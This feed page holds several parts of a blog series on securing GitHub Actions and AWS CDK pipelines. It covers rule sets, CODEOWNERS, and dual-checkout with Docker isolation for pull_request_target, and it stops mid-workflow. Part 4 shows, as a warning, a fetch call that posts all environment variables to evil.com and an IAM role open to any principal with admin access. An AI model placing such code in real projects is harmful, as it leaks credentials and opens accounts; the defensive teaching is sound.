DEV Community: Dom Derrien

Lessons Learned: Building Secure Pipelines in Practice

Dom Derrien — Mon, 14 Jul 2025 04:17:22 +0000

This is the final article in our 5-part series on transforming chaotic deployment processes into secure, governed CI/CD pipelines using GitHub Rule Sets and workflows.

Series Recap

Over the past four articles, we've journeyed from chaos to control:

Why We Need Secure Deployment Pipelines - We identified the problems with "move fast and break things" culture
GitHub Rule Sets - We implemented enforceable quality gates through status checks
Secure Code Review - We added branch protection and automated security scanning
The Trust Challenge - We solved secure infrastructure previews in forked workflows

Now, let's reflect on what this transformation taught us about building secure pipelines in practice.

The Reality Check: Time Investment vs. Security Payoff

Here's the truth nobody talks about: setting up secure pipelines is hard work.

It took me one week to reach my goals—and that was with AI assistance helping me debug GitHub Actions and CDK configurations. Without modern tooling, this exercise could have lasted a month. The infrastructure diffing with CDK alone kept me busy for 3 days, wrestling with permission policies and Lambda execution contexts.

But here's what I learned: invest the time upfront. The initial complexity pays dividends in preventing deployment disasters and security breaches.

Every hour spent configuring proper validation saves days of incident response later. I've seen teams lose entire weekends fixing production issues that a simple status check could have prevented.

The Rule Sets Revolution

GitHub Rule Sets are a game-changer compared to legacy Branch Protection rules.

Before Rule Sets, I was clicking through UI forms, trying to remember which protection rules applied to which branches. Configuration drift was inevitable—different repositories had slightly different policies, and nobody could explain why.

With Rule Sets, I can define JSON-based rules that apply across multiple branches:

{
  "name": "production-protection",
  "target": "branch",
  "conditions": {
    "ref_name": {
      "include": ["main", "production"]
    }
  },
  "rules": [
    {
      "type": "required_status_checks",
      "parameters": {
        "required_status_checks": [
          "security-scan",
          "infrastructure-diff"
        ]
      }
    }
  ]
}

Key insight: Treat your security policies as code—commit them to your repository and review changes like any other code. This eliminates configuration drift and makes your security posture auditable.

Matrix Strategy: The Speed Revolution

Using GitHub Actions' matrix strategy transformed our validation process from a painful bottleneck into a smooth experience.

Our original sequential approach looked like this:

Lint check: 45 seconds
Security scan: 2 minutes
Infrastructure diff: 3 minutes
Total: 6+ minutes of waiting

With parallel matrix execution:

strategy:
  matrix:
    validation: [lint, security, infrastructure]
jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - name: Run ${{ matrix.validation }}
        run: npm run ${{ matrix.validation }}

Result: All validations complete in under 2 minutes.

Key insight: Parallel validation isn't just about speed—it's about developer experience and faster feedback loops. Developers are more likely to fix issues quickly when they get immediate feedback.

The Trust Boundary Challenge

The pull_request_target trigger created our biggest security headache: we needed access to secrets for infrastructure operations, but we couldn't trust the PR code.

The breakthrough came with the dual-checkout pattern:

Trusted workflow: Checked out from the target branch with access to secrets
Untrusted code: Checked out from the PR branch for analysis

- name: Checkout trusted workflow
  uses: actions/checkout@v4
  with:
    ref: ${{ github.event.repository.default_branch }}
    path: trusted

- name: Checkout PR code
  uses: actions/checkout@v4
  with:
    ref: ${{ github.event.pull_request.head.sha }}
    path: untrusted

Key insight: Never run untrusted code with trusted credentials. Always separate the execution environment from the code being evaluated.

This pattern let us safely diff infrastructure changes without exposing AWS credentials to potentially malicious PR code.

Security Tools Don't Have to Break the Bank

We achieved robust security scanning using open-source tools instead of expensive enterprise solutions:

npm audit: Built-in dependency vulnerability scanning
ESLint security plugins: Static analysis for common security issues
Custom regex patterns: Detecting hardcoded secrets and sensitive patterns
Path filtering: Only scanning changed files for efficiency

- name: Security scan changed files
  run: |
    git diff --name-only origin/main...HEAD \
      | grep -E '\.(js|ts|json)$' \
      | xargs npm audit

Key insight: Effective security is about layered defense with targeted tools, not necessarily expensive enterprise suites. Smart path filtering ensures we only scan what changed, keeping builds fast.

The Architecture That Made It Work

Looking back, several architectural decisions were crucial for success:

Separation of Concerns

We kept CI validation separate from CD deployment. Status checks validate code quality and security, while deployment workflows handle the actual AWS operations. This separation made debugging easier and allowed us to iterate on each part independently.

Parallel Execution

Matrix strategies gave us faster feedback without sacrificing thoroughness. Developers could see all validation results simultaneously instead of waiting for sequential checks.

Trust Boundaries

The dual-checkout pattern solved the fundamental security challenge of infrastructure diffing. We never had to choose between security and functionality.

Progressive Enhancement

We added security layers without breaking existing workflows. Teams could adopt new policies gradually, reducing resistance to change.

Conclusion: The Investment That Pays Off

Transforming a "move fast and break things" deployment pipeline into a secure, governed system required fundamental changes in how we think about code integration and deployment.

The combination of GitHub Rule Sets, parallel validation workflows, and careful security boundaries created a system that's both safer and more efficient than our original approach. Developers get faster feedback through parallel checks, while security teams get enforceable policies and audit trails.

While the initial setup took significant effort, the result is a deployment pipeline that scales with team growth and provides the safety net needed for production AWS workloads. The investment in proper CI/CD governance pays dividends in reduced incidents, faster recovery times, and increased developer confidence.

For teams still relying on informal processes and manual checks, the transition to rule-enforced validation is worth the effort. Start with basic status checks, then gradually add security scanning and infrastructure validation as your team becomes comfortable with the new processes.

The future of deployment safety lies not in restricting developers, but in providing them with fast, reliable feedback loops that catch issues before they reach production.

This concludes our 5-part series on building secure CI/CD pipelines. The techniques we've covered—from Rule Sets to trust boundaries—provide a foundation for safe, scalable deployment processes that grow with your team.

The Trust Challenge: Safe Infrastructure Previews in Forked Workflows

Dom Derrien — Mon, 14 Jul 2025 04:15:05 +0000

Part 4 of "From Chaos to Control: Secure AWS Deployment Pipelines"

In our previous article, we built a solid foundation with branch protection and automated security scanning. But there's one challenge that keeps infrastructure teams awake at night: How do you safely preview infrastructure changes from contributors you don't fully trust?

This is the classic "trust dilemma" of modern DevOps. You need to see what infrastructure changes a PR will make before merging it, but you can't trust the code until it's been reviewed. In this article, we'll explore how to solve this challenge using dual-checkout patterns and Docker isolation.

The Infrastructure Security Dilemma

Picture this scenario: A contributor submits a PR with what looks like a simple IAM role change. The diff shows "Creating new service role" — seems innocent enough. But hidden in the CDK code is this:

new iam.Role({
  assumedBy: new iam.AnyPrincipal(), // ← Opens your account to the world
  managedPolicies: [
    iam.ManagedPolicy.fromAwsManagedPolicyName("AdministratorAccess") // ← Full admin access
  ]
})

Or consider this seemingly helpful logging function:

// Innocent-looking helper function
function logDeploymentInfo() {
  const env = process.env;
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(env) // ← Steals all environment variables
  });                         //   including AWS credentials
}

The dilemma: You need to preview the changes to understand their impact, but you cannot trust the code until it's been reviewed.

Understanding GitHub Actions Security Models

The `pull_request` Trigger: Safe but Limited

With the standard pull_request trigger, workflows run in the contributor's context:

pull_request Trigger Security Model
┌───────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository        │
│ ┌─────────────────┐            ┌─────────────────┐    │
│ │ PR Code         │            │ Workflow runs   │    │
│ │ (potentially    │ ─runs in─→ │ with fork's     │    │
│ │ malicious)      │            │ limited perms   │    │
│ └─────────────────┘            └─────────────────┘    │
│                                                       │
│ ✅ Safe: No access to secrets                         │
│ ❌ Limited: Cannot read deployed infrastructure state │
└───────────────────────────────────────────────────────┘

Problem: The fork doesn't have access to AWS credentials, so it can't generate meaningful infrastructure diffs.

The `pull_request_target` Trigger: Powerful but Dangerous

With pull_request_target, workflows run in the main repository's context:

pull_request_target Trigger Security Model
┌─────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository      │
│ ┌─────────────────┐            ┌──────────────────┐ │
│ │ PR Code         │            │ Workflow runs    │ │
│ │ (potentially    │ ─runs in─→ │ with main repo   │ │
│ │ malicious)      │            │ full permissions │ │
│ └─────────────────┘            └──────────────────┘ │
│                                                     │
│ ✅ Powerful: Access to AWS credentials and secrets  │
│ ❌ Dangerous: Malicious code can steal credentials  │
└─────────────────────────────────────────────────────┘

The Risk: Malicious code in the PR can now access your AWS credentials, secrets, and deployed infrastructure.

The Dual-Checkout Security Pattern

The solution is to separate trusted tooling from untrusted code using a dual-checkout pattern:

Dual-Checkout Security Architecture
┌─────────────────────────────────────────────────────────────┐
│ GitHub Actions Runner                                       │
│                                                             │
│ Trusted Code (Main Branch)     Untrusted Code (PR Branch)   │
│ ┌─────────────────────────┐    ┌──────────────────────────┐ │
│ │ /                       │    │ /untrusted-pr-code/      │ │
│ │ ├── .github/workflows/  │    │ ├── iac/                 │ │
│ │ ├── iac/                │    │ │   ├── modified.ts      │ │
│ │ │   ├── package.json    │    │ │   └── new-stack.ts     │ │
│ │ │   └── node_modules/   │    │ ├── serverless/          │ │
│ │ │       └── aws-cdk/    │    │ └── webapp/              │ │
│ │ └── serverless/         │    └──────────────────────────┘ │
│ └─────────────────────────┘                                 │
│                                                             │
│ ✅ Trusted CDK CLI             ❌ Untrusted infrastructure  │
│ ✅ Trusted dependencies        ❌ Untrusted build scripts   │
│ ✅ Access to AWS               ❌ Isolated from credentials │
└─────────────────────────────────────────────────────────────┘

How It Works

Checkout trusted code (main branch) to the runner root
Install trusted dependencies including CDK CLI
Checkout untrusted code (PR branch) to a separate subdirectory
Run untrusted code using trusted tools only

This ensures that even if the PR contains malicious code, it cannot:

Replace the CDK CLI with a malicious version
Access AWS credentials directly
Modify the workflow execution environment

Docker: The Additional Isolation Layer

Even with dual-checkout, untrusted code still runs on the same system. Docker provides an additional isolation layer:

Docker Security Isolation
┌───────────────────────────────────────────────────────────┐
│ GitHub Actions Runner (Host)                              │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Docker Container (Isolated)                           │ │
│ │                                                       │ │
│ │ ┌─────────────────┐                                   │ │
│ │ │ Untrusted Code  │ → Limited to:                     │ │
│ │ │ • npm install   │   • Read/write own files          │ │
│ │ │ • tsc compile   │   • Network access for npm        │ │
│ │ │ • npm build     │   • No access to host filesystem  │ │
│ │ └─────────────────┘   • No access to host network     │ │
│ │                       • No access to AWS credentials  │ │
│ └───────────────────────────────────────────────────────┘ │
│                                                           │
│ Host maintains:                                           │
│ • AWS credentials                                         │
│ • Trusted CDK CLI                                         │
│ • Access to deployed infrastructure                       │
└───────────────────────────────────────────────────────────┘

Docker Security Benefits:

Prevents untrusted code from accessing host filesystem
Blocks network access to internal services
Isolates process execution
Limits resource consumption

Safe Infrastructure Diffing Workflow

Here's how the secure workflow operates:

Secure Infrastructure Preview Workflow
┌─────────────────────────────────────────────────────────────┐
│ 1. PR Submitted with IaC Changes                            │
│    └─→ Triggers pull_request_target workflow                │
│                                                             │
│ 2. Checkout Trusted Code (develop branch)                   │
│    ├─→ Install trusted CDK CLI and dependencies             │
│    └─→ Configure AWS credentials (trusted environment)      │
│                                                             │
│ 3. Checkout Untrusted Code (PR branch)                      │
│    └─→ Isolated to /untrusted-pr-code/ subdirectory         │
│                                                             │
│ 4. Build Untrusted Code (Docker isolation)                  │
│    ├─→ npm ci (install dependencies)                        │
│    ├─→ tsc compile (TypeScript compilation)                 │
│    └─→ npm run build (build artifacts)                      │
│                                                             │
│ 5. Synthesize Infrastructure (Docker isolation)             │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run with network, block all other accesses           │
│    ├─→ Set the running command `node dist/bin/iac.js`       │
│    └─→ Save output in folder cdk.out                        │
│                                                             │
│ 6. Generate Infrastructure Diff (develop branch)            │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run against produced assets in `cdk.out`             │
│    └─→ Save output in file `cdk.out`                        │
│                                                             │
│ 7. Post Results (Docker isolation)                          │
│    └─→ cdk-notifier posts diff as PR comment                │
└─────────────────────────────────────────────────────────────┘

Key Security Measures

1. Trusted CDK CLI Usage

# ❌ Dangerous: Uses potentially malicious CDK from untrusted code
npx cdk diff Develop

# ✅ Safe: Uses trusted CDK CLI from parent directory
../../iac/node_modules/.bin/cdk diff Develop

2. Isolated Output Directory

# ❌ Dangerous: Might write to parent directory
cdk diff Develop

# ✅ Safe: Forces output to isolated directory
cdk diff Develop --output cdk.out

3. Docker Process Isolation

# ❌ Dangerous: Runs directly on host
cd untrusted-pr-code && npm ci

# ✅ Safe: Runs in isolated container
docker run --rm \
  -v "$(pwd)/untrusted-pr-code:/workspace:rw" \
  -w /workspace \
  --user $(id -u):$(id -g) \
  node:20-alpine \
  npm ci

4. Credential Isolation

# The untrusted code never has direct access to:
# - AWS_ACCESS_KEY_ID
# - AWS_SECRET_ACCESS_KEY
# - AWS_SESSION_TOKEN
# - GITHUB_TOKEN (except limited scope for cdk-notifier)

Implementation: The Complete Secure Workflow

Now let's implement a production-ready workflow that puts these security patterns into practice:

name: CDK Diff Report

# SECURITY WARNING: This workflow uses pull_request_target
# It runs untrusted code with access to repository secrets
# Only use after understanding the security implications
on:
  pull_request_target: # Run in main repo context for status checks
    branches: [develop]
    types: [opened, synchronize, reopened]
    paths:
      - "iac/**"
      - "!iac/test/**"
      - ".github/workflows/report-infrastructure-diff.yml"

# Prevent concurrent runs to avoid resource conflicts
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

env:
  AWS_REGION: eu-central-1
  AWS_ACCOUNT: 274116565330
  UNTRUSTED_CODE_FOLDER: untrusted-pr-code
  NODE_VERSION: "22"

jobs:
  deploy:
    name: check diff to develop
    runs-on: ubuntu-latest

    # Timeout to prevent resource exhaustion attacks
    timeout-minutes: 15

    permissions:
      id-token: write # AWS OIDC authentication
      contents: read # Read repository contents
      pull-requests: write # Post diff comments
      issues: write # Comment on PRs
      repository-projects: write # Update project boards

    env:
      BRANCH_NAME: ${{ github.head_ref || github.ref_name }}
      GITHUB_OWNER: ${{ github.repository_owner }}
      GITHUB_REPO: ${{ github.event.repository.name }}
      PULL_REQUEST_ID: ${{ github.event.pull_request.number }}

    steps:
      - name: Checkout Base Branch (Trusted Workflow Definition and Dependencies)
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.base.ref }} # Checkout the code of the develop branch

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: ${{ env.NODE_VERSION }}
          cache: "npm"
          cache-dependency-path: package-lock.json

      # Project is NPM workspace compliant
      - name: Install all dependencies
        run: npm ci

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::${{ env.AWS_ACCOUNT }}:role/github-ci-role
          role-session-name: github-ci-infrastructure-diff
          aws-region: ${{ env.AWS_REGION }}

      - name: Check caller identity
        run: aws sts get-caller-identity # Fails fast if credentials broken

      - name: Checkout PR Head (Untrusted Code)
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          path: ./${{ env.UNTRUSTED_CODE_FOLDER }} # Checkout into a distinct sub-directory
          persist-credentials: false # Crucial: ensure no credentials are inserted into the checked-out URL

      - name: Prepare dependencies in the untrusted branch (from PR)
        run: |
          echo "Loading untrusted code dependencies in isolated Docker containers..."

          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }}-alpine \
            npm ci

          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }}-alpine \
            npm run build-all

      # Check diff the PR code to develop while using the trusted CDK CLI (from the parent folder)
      # This ensures that the CDK CLI is trusted and not influenced by untrusted code.
      # This is crucial to prevent potential security risks from untrusted code.
      - name: Check diff to develop
        working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }}
        run: |
          echo "- Step 1: cdk diff in isolated environment (no credentials, no network)"
          # First, synthesize the template WITHOUT credentials in completely isolated Docker
          ### Local shell equivalent: npm run build; npx cdk synth --output /tmp/cdk.out
          docker run --rm \
            --volume "./:/workspace:rw" \
            --volume "$(pwd)/../node_modules:/trusted-modules:ro" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --cap-drop=ALL \
            --memory=2g \
            --cpu-shares=1024 \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }} \
            sh -c "cd iac && timeout 120s /trusted-modules/.bin/cdk synth Develop \
              --app 'node dist/bin/iac.js' \
              --output cdk.out \
              --no-version-reporting > synth.log 2>&1" || {
              echo "❌ CDK synthesis failed - this might indicate malicious code trying to access network/credentials"
              exit 1
            }

          echo "- Step 2: cdk.out content"
          ls -la ./iac/cdk.out
          echo "AWS_ACCOUNT: $AWS_ACCOUNT"
          echo "AWS_REGION: $AWS_REGION"

          echo "- Step 3: cdk diff in trusted environment"
          # Then, compare the synthesized template with the deployed stack using trusted CLI with AWS credentials
          ### Local shell equivalent: AWS_REGION=eu-central-1 AWS_ACCOUNT=274116565330 npx cdk diff Develop --app /tmp/cdk.out --progress=events --profile ...
          ../node_modules/.bin/cdk diff Develop \
            --app "./iac/cdk.out" \
            --progress=events \
            --no-version-reporting \
            &> cdk.log

          echo "- Step 4: cdk.log file"
          ls -la ./cdk.log

      - name: "Security Scan of Diff Output"
        working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }}
        run: |
          echo "- Step 1: cdk.log file"
          ls -la ./cdk.log

          echo "- Step 2: Basic security patterns to flag for review"
          if grep -E "(AdministratorAccess|PowerUserAccess|FullAccess)" cdk.log; then
            echo "⚠️  WARNING: Over privileged managed policies detected"
            echo "security-warning=true" >> $GITHUB_ENV
          fi

          if grep -E 'Action: "\*"' cdk.log; then
            echo "⚠️  WARNING: Wildcard actions in IAM policies detected"
            echo "security-warning=true" >> $GITHUB_ENV
          fi

          echo "- Step 3: Context-aware security check"
          webhook_context=$(grep -B 10 -A 10 'Principal: "\*"' cdk.log || true)
          if echo "$webhook_context" | grep -q "lambda:InvokeFunctionUrl"; then
            echo "✅ Webhook pattern detected - legitimate use of Principal: '*'"
          else
            if grep -q 'Principal: "\*"' cdk.log; then
              echo "⚠️  WARNING: Unrestricted principal access detected"
              echo "security-warning=true" >> $GITHUB_ENV
            fi
          fi

          echo "- Step 4: Look for actual resource destruction patterns"
          deletion_matches=$(grep -n -B 3 -A 3 -E "(\[-\]\s*AWS::|\.destroy\(\)|DeletionPolicy.*Delete|Stack.*DESTROY)" cdk.log || true)

          if [ -n "$deletion_matches" ]; then
            echo "⚠️  WARNING: Resource deletion detected"
            echo "📍 Found at:"
            echo "$deletion_matches"
            echo "destruction-warning=true" >> $GITHUB_ENV
          fi

          echo "🔍 Security scan completed. Warnings: security=${security-warning:-false}, destruction=${destruction-warning:-false}"

      # cdk-notifier
      # cSpell:ignore karlderkaefer
      - name: Post CDK diff to PR
        run: |
          echo "Create cdk-notifier report"
          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER/cdk.log:/app/cdk.log:ro" \
            --env GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
            karlderkaefer/cdk-notifier:latest \
            --owner $GITHUB_OWNER \
            --repo $GITHUB_REPO \
            --log-file /app/cdk.log \
            --tag-id "diff-pr-$PULL_REQUEST_ID-to-develop" \
            --pull-request-id $PULL_REQUEST_ID \
            --vcs github \
            --ci circleci \
            --template extendedWithResources

      - name: "Fail the build if security or destruction warnings are present"
        if: env.security-warning == 'true' || env.destruction-warning == 'true'
        run: |
          echo "::warning title=Security Review Required::This PR contains potentially dangerous infrastructure changes that require careful review"
          exit 1

Understanding the Remaining Risks

Even with these protections, some risks remain:

1. cdk-notifier GITHUB_TOKEN Access

Limited Risk: cdk-notifier Tool Access
┌────────────────────────────────────────────────────────────┐
│ Risk: cdk-notifier has GITHUB_TOKEN access                 │
│                                                            │
│ Mitigations:                                               │
│ • Token has limited permissions (pull-requests: write)     │
│ • Token is short-lived (expires with workflow)             │
│ • Tool runs in separate Docker container                   │
│ • Tool is from trusted source (karlderkaefer/cdk-notifier) │
│                                                            │
│ Potential Impact:                                          │
│ • Could post malicious comments on PRs                     │
│ • Could access public repository information               │
│ • Cannot access AWS resources or secrets                   │
└────────────────────────────────────────────────────────────┘

2. CDK Synthesis-Time Code Execution

// Risk: Malicious code in CDK constructs runs during synthesis
export class MaliciousStack extends Stack {
  constructor(scope: Construct, id: string) {
    super(scope, id);

    // This code runs during 'cdk diff' and could be malicious
    maliciousFunction();
  }
}

Mitigation: The Docker isolation prevents most damage, but code review remains essential.

3. Diff Output Manipulation

Malicious code could try to hide dangerous changes in the diff output, but this is limited by:

The trusted CDK CLI generates the actual diff
The isolated output directory prevents tampering
Code review catches suspicious patterns

Key Benefits of This Approach

Security: Multiple layers protect against credential theft and malicious code
Functionality: Provides meaningful infrastructure previews for review
Trust: Separates trusted tooling from untrusted code
Scalability: Works for both small projects and large monorepos
Maintainability: Uses standard tools and patterns

Best Practices for Implementation

Always use dual-checkout pattern for pull_request_target workflows
Implement Docker isolation for untrusted code execution
Use trusted tooling (CDK CLI, dependencies) from main branch
Implement security scanning of diff outputs
Set up monitoring for unusual activity
Maintain code review discipline as the final security layer

Looking Ahead

The dual-checkout pattern with Docker isolation provides a robust solution for safely previewing infrastructure changes from untrusted sources. While it doesn't eliminate all risks, it significantly reduces the attack surface and provides multiple layers of protection.

The key insight is that you can run untrusted code safely if you control the execution environment and the tools used to process it. By maintaining strict separation between trusted tooling and untrusted code, you can provide valuable infrastructure previews without compromising your deployment pipeline's security.

In our final article, we'll bring everything together with real-world lessons learned and practical tips for implementing these security patterns in your organization.

Remember: This security model is only as strong as your code review process. Automated security measures protect against accidental exposure, but human review remains essential for catching malicious intent.

Next in series: Lessons Learned: Building Secure Pipelines in Practice

Secure Code Review: Branch Protection and Automated Security Scanning

Dom Derrien — Mon, 14 Jul 2025 04:13:36 +0000

This is the third article in our series "From Chaos to Control: GitHub Rule Sets and Workflows for Safer AWS Deployments." In our previous articles, we explored why secure deployment pipelines matter and how to enforce quality through status checks. Now we tackle the critical human element: meaningful code reviews that complement your automated validation.

Picture this: your CI pipeline is green, all tests pass, security scans show no vulnerabilities, and the code deploys successfully. Three weeks later, you discover a critical business logic error that automated tools missed entirely. The function worked perfectly—it just solved the wrong problem.

This scenario highlights why human oversight remains irreplaceable in our automated world. While machines excel at catching syntax errors and known vulnerabilities, they struggle with context, business logic, and architectural decisions that could haunt your system for years.

Why Reviews Matter: Beyond Automation

Automated CI checks validate that your code builds, tests pass, and follows security patterns. But they can't catch:

Business logic errors: A function that works but solves the wrong problem
Architectural drift: Code that works but doesn't align with system design
Context-specific security: Patterns that are technically secure but inappropriate for your use case
Maintainability issues: Code that works today but will be painful to modify tomorrow

Here's how reviews integrate with your existing validation pipeline:

PR Creation & Validation Flow
┌─────────────────┐
│ PR Created      │
│        ↓        │
│ ✅ CI Checks    │ ← Automated: builds, tests, linting
│ ✅ Security     │ ← Automated: vulnerability scanning
│ ✅ Infra Diff   │ ← Automated: infrastructure preview
│        ↓        │
│ 👤 Code Review  │ ← Human: logic, architecture, context
│   Required      │
│        ↓        │
│ ✅ Approved     │
│        ↓        │
│ 🚀 Deploy       │
└─────────────────┘

Review Requirements Rule Set

The GitHub Rule Set below enforces human approval while maintaining flexibility for emergency situations:

{
  "name": "Review Requirements",
  "target": "branch",
  "enforcement": "active",
  "conditions": {
    "ref_name": {
      "include": ["refs/heads/main", "refs/heads/develop"],
      "exclude": []
    }
  },
  "rules": [
    {
      "type": "pull_request",
      "parameters": {
        "required_approving_review_count": 1,
        "dismiss_stale_reviews_on_push": true,
        "require_code_owner_review": true,
        "require_last_push_approval": false,
        "required_review_thread_resolution": false,
        "automatic_copilot_code_review_enabled": false,
        "allowed_merge_methods": ["merge", "squash", "rebase"]
      }
    }
  ],
  "bypass_actors": [
    {
      "actor_type": "RepositoryRole",
      "actor_id": 5
    }
  ]
}

Key parameters explained:

required_approving_review_count: 1: Minimum one approval required
dismiss_stale_reviews_on_push: true: New commits invalidate previous approvals
require_code_owner_review: true: Specific owners must approve changes to their areas
require_last_push_approval: false: Allows minor fixes without re-approval
bypass_actors: Repository admins can override in emergencies

Strategic Code Ownership with CODEOWNERS

The CODEOWNERS file creates clear accountability while distributing review load efficiently. Here's a strategic approach:

# CODEOWNERS - Strategic ownership for efficient reviews

# Global fallback - ensures no code goes unreviewed
* @admin-1 @admin-2

# Infrastructure & DevOps - high-impact, specialized knowledge required
/.github @devops-1 @admin-1
/iac/ @devops-1 @admin-1

# Backend Services - business logic and data handling
/serverless/ @backend-1 @backend-2
/interfaces/ @backend-1 @frontend-1  # Shared contracts need both perspectives

# Frontend - user experience and client-side logic
/webapp/ @frontend-1 @frontend-2
/cdn/ @frontend-1 @devops-1          # Static assets need deployment knowledge

# Security-sensitive areas - multiple eyes required
/iac/security/ @devops-1 @security-lead @admin-1
/serverless/auth/ @backend-1 @security-lead

This setup ensures that infrastructure changes get specialized review while maintaining flexibility for team evolution. The commented entries allow you to gradually assign ownership as your team grows and roles become more defined.

Review Workflow Integration

Review Process Flow
┌─────────────────┐
│ PR Submitted    │
│        ↓        │
│ ⏱️ CI Running   │ ← Reviewer can start early review
│        ↓        │
│ ✅ CI Passed    │ ← Automated checks complete
│        ↓        │
│ 🔍 Code Review  │ ← Focused human review
│   • Logic       │
│   • Architecture│
│   • Security    │
│   • Maintenance │
│        ↓        │
│ ✅ Approved     │
│        ↓        │
│ 🔄 Merge        │ ← Triggers deployment
└─────────────────┘

Balancing Speed and Thoroughness

Repository administrators can bypass reviews in genuine emergencies using the bypass_actors configuration. This should be used sparingly and documented properly:

Use the bypass capability only for critical fixes
Document the reason in the merge commit
Create a follow-up PR for proper review
Conduct post-incident review of the bypass decision

Implementation Checklist

[ ] Deploy the Review Requirements rule set
[ ] Create comprehensive CODEOWNERS file
[ ] Train team on review focus areas
[ ] Establish review time expectations
[ ] Document emergency bypass procedures
[ ] Set up review assignment automation
[ ] Monitor review bottlenecks and adjust ownership

What's Next

With review gates protecting your main branches, you've created a solid foundation for secure deployments. But what happens when external contributors want to help? In our next article, we'll tackle one of the most challenging aspects of secure CI/CD: handling forked workflows safely.

When someone forks your repository and submits a PR, they shouldn't have access to your AWS credentials or be able to modify your infrastructure. Yet you still want to preview their changes safely. We'll explore how to build trust boundaries that allow collaboration without compromising security.

In the next article: "The Trust Challenge: Safe Infrastructure Previews in Forked Workflows"

GitHub Rule Sets: Enforcing Quality Through Status Checks

Dom Derrien — Mon, 14 Jul 2025 04:09:46 +0000

This is the second article in our series on building secure AWS deployment pipelines. In the previous article, we explored why validation-first pipelines matter. Now we'll implement the technical foundation: GitHub Rule Sets and parallel validation workflows.

Building Parallel Validation Pipelines

The Problem: Monolithic Workflows Don't Scale

Our original approach used monolithic workflow files—one for develop branch PRs and another for main branch deployments. Each workflow would sequentially build code, run tests, package assets, and deploy everything with CDK. This worked for a single project, but became inefficient as our monorepo grew.

The problems were clear:

Slow feedback: Developers waited 16+ minutes to know if their PR was valid
Resource waste: A single failing test would block deployment unnecessarily
Merge bottlenecks: Only one validation could run at a time

The Solution: Split CI from CD

I redesigned the pipeline around two core principles:

Continuous Integration (CI): Fast validation that runs on PR creation
Continuous Deployment (CD): Deployment that only runs after PR approval and merge

NEW: Split Pipeline with Parallel Validation
┌─────────────────────────────┐
│    PR Created               │
│        ↓                    │
│ ┌─────────────────────────┐ │
│ │ CI Pipeline             │ │  ← Parallel validation
│ │                         │ │
│ │ IaC   │ Server │ Webapp │ │  ← Each project
│ │ Build │ Build  │ Build  │ │     independently
│ │ Test  │ Test   │ Test   │ │
│ └─────────────────────────┘ │
│    PR Created               │
│    Status Checks            │  ← GitHub Rule Sets
│        ↓                    │     verify all pass
│    PR Approved              │
│        ↓                    │
│    PR Merged                │
│        ↓                    │
│    CD Pipeline              │  ← Deploy only after
│    (Deploy)                 │     validation passes
└─────────────────────────────┘
Total CI Time: ~2 minutes (parallel)

Implementing GitHub Rule Sets

To make this work, I needed GitHub to understand that a PR is only ready for merge when all project validations pass. This is where Rule Sets shine—they can monitor multiple status checks simultaneously.

{
  "name": "Core Branch Protection",
  "target": "branch",
  "enforcement": "active",
  "conditions": {
    "ref_name": {
      "include": ["refs/heads/main", "refs/heads/develop"],
      "exclude": []
    }
  },
  "rules": [
    { "type": "pull_request" },
    {
      "type": "required_status_checks",
      "parameters": {
        "required_status_checks": [
          {
            "context": "CI Checks (IaC, cd serverless && npm run build && npm test)"
          },
          {
            "context": "CI Checks (Serverless, cd serverless && npm run build && npm test)"
          },
          {
            "context": "CI Checks (Webapp, cd serverless && npm run build && npm test)"
          }
        ],
        "strict_required_status_checks_policy": true
      }
    },
    { "type": "deletion" },
    { "type": "non_fast_forward" }
  ],
  "bypass_actors": [{ "actor_type": "RepositoryRole", "actor_id": 5 }]
}

💡 Key Insight: Rule Sets are more powerful than legacy Branch Protection because one set can cover multiple branches (main and develop) with the same rules.

Setting Up Rule Sets

Unlike GitHub Action workflows, Rule Sets require manual setup via the GitHub REST API:

# Apply the rule set using GitHub CLI
gh api repos/{owner}/{repo}/rulesets \
  --method POST \
  --input ruleset.json

Important considerations:

Create separate rule sets for different responsibilities (core protection vs. review requirements)
Define Rule Sets as JSON files in your repository for version control
Allow repository administrators to bypass rules during development (actor_id: 5)
Use strict_required_status_checks_policy: true to ensure checks run on the latest code

The Matrix Strategy: Parallel Validation

The magic happens in the CI workflow using GitHub's Matrix Strategy. Instead of running validations sequentially, each project gets its own parallel job:

name: CI/CD Pipeline

on:
  pull_request:
    types: [opened, synchronize, reopened]
  workflow_dispatch:

permissions:
  contents: read
  checks: write
  pull-requests: read

jobs:
  setup:
    name: Setup Dependencies
    runs-on: ubuntu-latest

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: "20"
          cache: "npm"

      - name: Install all dependencies
        run: npm ci

      - name: Cache workspace with dependencies
        uses: actions/cache/save@v4
        with:
          path: .
          key: node-modules-${{ runner.os }}-${{ github.sha }}

  ci-checks:
    name: CI Checks
    runs-on: ubuntu-latest
    needs: [setup]
    strategy:
      matrix:
        task:
          - { task: "IaC", command: "cd iac && npm run build && npm test" }
          - {
              task: "Serverless",
